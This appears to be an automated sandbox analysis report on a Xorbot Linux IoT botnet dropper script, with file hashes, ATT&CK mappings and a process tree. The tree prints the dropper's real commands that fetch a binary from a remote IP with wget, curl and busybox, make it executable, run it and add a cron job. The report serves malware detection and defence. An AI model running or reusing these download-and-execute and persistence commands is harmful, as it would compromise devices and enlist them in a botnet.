xorbot | f5d540dc9d7d7b789b722ef76b6312d8916f92dc0268ac50f0516cc55c3eb417

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/02/2025, 05:02

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General

Target

bins.sh
Size

10KB
MD5

33f9f0f790d74a4b0e288f22161d11f1
SHA1

d294310cfdb18d6bcf63b4c0e60995ca5fe42203
SHA256

f5d540dc9d7d7b789b722ef76b6312d8916f92dc0268ac50f0516cc55c3eb417
SHA512

27a99c4022a5750dfb7b1a80c8ae67e01a4ab6f58d02e6aa1483cda88160c3408556bfd5dc0637112b91444d544f6afc5a69fcaf1d70224c27d952fabc694be6
SSDEEP

192:OkcFWyxt9Fm/DW4N9237IZ3eZzSfN9237QEkcFWyxl9Fm/D4a:OkcFWyxt9Fm/DW4N9237IZ3eZzSfN92S

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2093) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1514	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	1515	bins.sh

Renames itself 1 IoCs

pid	Process
1516	XQw82vXECRUV429SDvD0heUyhUITAYsq7p

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.N3fUOV	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/7/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/36/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/179/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1308/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1533/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1559/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1573/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1584/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1506/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1537/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1561/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1633/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1640/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1642/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1679/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1692/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/423/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/612/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1065/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1579/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1592/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1616/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1710/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1716/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/31/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1105/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1315/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1572/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1707/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1732/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/477/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/523/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1162/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1605/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1718/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1726/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/19/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1184/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1336/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1543/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1621/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/98/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/471/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1058/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1540/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/6/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/416/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/723/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1086/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1686/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/18/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/468/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/174/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/560/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1185/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1562/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1578/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1689/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/21/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/176/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1284/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1545/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p
File opened for reading	/proc/1618/cmdline	XQw82vXECRUV429SDvD0heUyhUITAYsq7p

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	wget
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	curl
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:1506
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1507
- /usr/bin/wget
  wget http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Writes file to tmp directory
  PID:1513
- /bin/chmod
  chmod 777 XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  ./XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:1515
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1517
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1518
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1519
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1520
- /bin/rm
  rm XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  PID:1522
- /usr/bin/wget
  wget http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  PID:1525

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.N3fUOV

Filesize
210B

MD5
035b078e5d1f373691212eb3f12ea792

SHA1
3fdcfe88834034374aa197c873c2975953093cb7

SHA256
03cab1b8822b1ee4bf51c62f0bd0bb6692a8d7204b4a29af67d4032f2fe547ed

SHA512
0c2e768fc2ef4e83b5f762a956681836a157ddc94086a588d5990ee1e86920675b669a39242483b37692d0225bcc9ce7272347a18b8c4bdec4a14c15b5067b45

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads